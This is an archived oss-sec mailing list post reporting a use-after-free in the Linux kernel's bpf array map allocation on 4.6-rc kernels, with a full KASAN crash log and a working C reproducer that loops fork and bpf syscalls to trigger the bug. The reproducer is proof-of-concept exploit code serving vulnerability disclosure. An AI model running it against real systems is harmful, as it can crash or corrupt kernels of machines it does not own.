oss-sec mailing list archives

Linux Kernel bpf related UAF


From: Marco Grassi <marco.gra () gmail com>
Date: Thu, 12 May 2016 15:59:11 +0800

Hi,

the following reproducer will cause a UAF of a previously allocated memory
in bpf.

You can reproduce with linux kernel master, or 4.6-rc6 4.6-rc7 and maybe
other kernel versions.

In the reproducer there is also a log of the UAF with KASAN of the kernel
running on qemu x64

Thanks

Marco

Reproducer C file:
==================

// Linux kernel version: 4.6-rc7 or 4.6-rc6, or linux master (tested
2016/05/12) compiled with KASAN to see the log
// Compile it with gcc -o durr durr.c
// Run it and it will cause the UAF endlessly see qemu logs dmesg/logs
// here there is a example log

/*
[  228.998319]
==================================================================
[  228.999029] BUG: KASAN: use-after-free in
pcpu_extend_area_map+0x111/0x130 at addr ffff88006785d47c
[  228.999833] Read of size 4 by task durr/5570
[  229.000219]
=============================================================================
[  229.000943] BUG kmalloc-192 (Tainted: G    B          ): kasan: bad
access detected
[  229.001619]
-----------------------------------------------------------------------------
[  229.001619]
[  229.002485] INFO: Allocated in 0xbbbbbbbbbbbbbbbb
age=18446720155036662370 cpu=0 pid=0
[  229.003198]  pcpu_mem_zalloc+0x56/0xa0
[  229.003542]  ___slab_alloc.constprop.60+0x3f9/0x440
[  229.003995]  __slab_alloc.constprop.59+0x20/0x40
[  229.004426]  __kmalloc+0x20b/0x240
[  229.004749]  pcpu_mem_zalloc+0x56/0xa0
[  229.005102]  pcpu_create_chunk+0x23/0x490
[  229.005478]  pcpu_alloc+0xa42/0xbc0
[  229.005806]  __alloc_percpu_gfp+0x2c/0x40
[  229.006179]  array_map_alloc+0x52b/0x6e0
[  229.006548]  SyS_bpf+0x6ee/0x1800
[  229.006868]  entry_SYSCALL_64_fastpath+0x1a/0xa4
[  229.007302] INFO: Freed in 0xffffba5f age=18446738129474796130 cpu=0
pid=0
[  229.007934]  kvfree+0x3b/0x60
[  229.008220]  __slab_free+0x1df/0x2e0
[  229.008561]  kfree+0x176/0x190
[  229.008847]  kvfree+0x3b/0x60
[  229.009127]  pcpu_balance_workfn+0x755/0xe10
[  229.009527]  process_one_work+0x882/0x12d0
[  229.009905]  worker_thread+0xe4/0x1300
[  229.010251]  kthread+0x1fb/0x280
[  229.010553]  ret_from_fork+0x22/0x40
[  229.010891] INFO: Slab 0xffffea00019e1700 objects=15 used=9
fp=0xffff88006785d048 flags=0x4000000000004080
[  229.011771] INFO: Object 0xffff88006785d450 @offset=5200
fp=0xbbbbbbbbbbbbbbbb
[  229.011771]
[  229.012562] Redzone ffff88006785d448: 00 00 00 00 00 00 00 00
               ........
[  229.013356] Object ffff88006785d450: bb bb bb bb bb bb bb bb 00 00 00 00
00 00 00 00  ................
[  229.014194] Object ffff88006785d460: 58 d4 3c 6b 00 88 ff ff 00 00 20 00
00 00 20 00  X.<k...... ... .
[  229.015033] Object ffff88006785d470: 00 00 e0 fa ff e8 ff ff 01 00 00 00
00 01 00 00  ................
[  229.015869] Object ffff88006785d480: 08 80 87 65 00 88 ff ff e0 ff ff ff
0f 00 00 00  ...e............
[  229.016702] Object ffff88006785d490: 90 d4 85 67 00 88 ff ff 90 d4 85 67
00 88 ff ff  ...g.......g....
[  229.017534] Object ffff88006785d4a0: e0 8a 49 81 ff ff ff ff a8 52 92 67
00 88 ff ff  ..I......R.g....
[  229.018368] Object ffff88006785d4b0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.019215] Object ffff88006785d4c0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.020056] Object ffff88006785d4d0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.020901] Object ffff88006785d4e0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.021745] Object ffff88006785d4f0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.022587] Object ffff88006785d500: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00  ................
[  229.023431] Redzone ffff88006785d510: 00 00 00 00 00 00 00 00
               ........
[  229.024219] Padding ffff88006785d648: 61 ba ff ff 00 00 00 00
               a.......
[  229.025029] CPU: 0 PID: 5570 Comm: durr Tainted: G    B
4.6.0-rc6 #6
[  229.025681] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  229.026532]  0000000000000000 00000000d3335927 ffff880065e1fb08
ffffffff81b25fb3
[  229.027250]  ffff88006785c000 ffff88006785d450 ffff88006cc02a40
ffffea00019e1700
[  229.027968]  ffff880065e1fb38 ffffffff815282c5 ffff88006cc02a40
ffffea00019e1700
[  229.028682] Call Trace:
[  229.028917]  [<ffffffff81b25fb3>] dump_stack+0x83/0xb0
[  229.029389]  [<ffffffff815282c5>] print_trailer+0x115/0x1a0
[  229.029899]  [<ffffffff8152d144>] object_err+0x34/0x40
[  229.030370]  [<ffffffff8152f2e6>] kasan_report_error+0x226/0x550
[  229.030926]  [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50
[  229.031498]  [<ffffffff8152e9ce>] ? kasan_kmalloc+0x5e/0x70
[  229.032008]  [<ffffffff8152f751>] __asan_report_load4_noabort+0x61/0x70
[  229.032612]  [<ffffffff81496bf1>] ? pcpu_extend_area_map+0x111/0x130
[  229.033192]  [<ffffffff81496bf1>] pcpu_extend_area_map+0x111/0x130
[  229.033755]  [<ffffffff81496f77>] ? pcpu_create_chunk+0x367/0x490
[  229.034314]  [<ffffffff8149734c>] pcpu_alloc+0x2ac/0xbc0
[  229.034804]  [<ffffffff814970a0>] ? pcpu_create_chunk+0x490/0x490
[  229.035358]  [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50
[  229.035929]  [<ffffffff81499879>] ? kmalloc_order+0x59/0x70
[  229.036438]  [<ffffffff814998b4>] ? kmalloc_order_trace+0x24/0xa0
[  229.036994]  [<ffffffff8152ad9c>] ? __kmalloc+0x1ec/0x240
[  229.037486]  [<ffffffff81497c8c>] __alloc_percpu_gfp+0x2c/0x40
[  229.038018]  [<ffffffff813e832b>] array_map_alloc+0x52b/0x6e0
[  229.038543]  [<ffffffff813d65ce>] SyS_bpf+0x6ee/0x1800
[  229.039017]  [<ffffffff810dc37d>] ? __do_page_fault+0x1cd/0xb50
[  229.039558]  [<ffffffff813d5ee0>] ? bpf_prog_new_fd+0x30/0x30
[  229.040083]  [<ffffffff810dcda9>] ? trace_do_page_fault+0x79/0x240
[  229.040649]  [<ffffffff82ba1932>] entry_SYSCALL_64_fastpath+0x1a/0xa4
[  229.041236] Memory state around the buggy address:
[  229.041678]  ffff88006785d300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[  229.042331]  ffff88006785d380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[  229.042992] >ffff88006785d400: fc fc fc fc fc fc fc fc fc fc fc fb fb fb
fb fb
[  229.043642]
    ^
[  229.044286]  ffff88006785d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[  229.044938]  ffff88006785d500: fb fb fb fc fc fc fc fc fc fc fc fc fc fc
fc fc
[  229.045589]
==================================================================

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>

#ifndef SYS_mmap
#define SYS_mmap 9
#endif
#ifndef SYS_bpf
#define SYS_bpf 321
#endif

long r[6];

int main(int argc, char **argv)
{
    printf("--beginning of program\n");

    while(1) {

        pid_t pid = fork();

        if (pid == 0)
        {
            // child process
            memset(r, -1, sizeof(r));
            r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
            *(uint32_t*)0x20006eea = (uint32_t)0x6;
            *(uint32_t*)0x20006eee = (uint32_t)0x4;
            *(uint32_t*)0x20006ef2 = (uint32_t)0x54d1;
            *(uint32_t*)0x20006ef6 = (uint32_t)0xc93;
            r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0);
            return 0;
        }
        else if (pid > 0)
        {
            // parent process
            memset(r, -1, sizeof(r));
            r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
            *(uint32_t*)0x20006eea = (uint32_t)0x6;
            *(uint32_t*)0x20006eee = (uint32_t)0x4;
            *(uint32_t*)0x20006ef2 = (uint32_t)0x54d1;
            *(uint32_t*)0x20006ef6 = (uint32_t)0xc93;
            r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0);
            int returnStatus;
            waitpid(pid, &returnStatus, 0);
            printf("collected child\n");

        }
        else
        {
            // fork failed
            printf("fork() failed!\n");
            return 1;
        }
    }

    printf("--end of program--\n");

    return 0;
}

=====================

Current thread: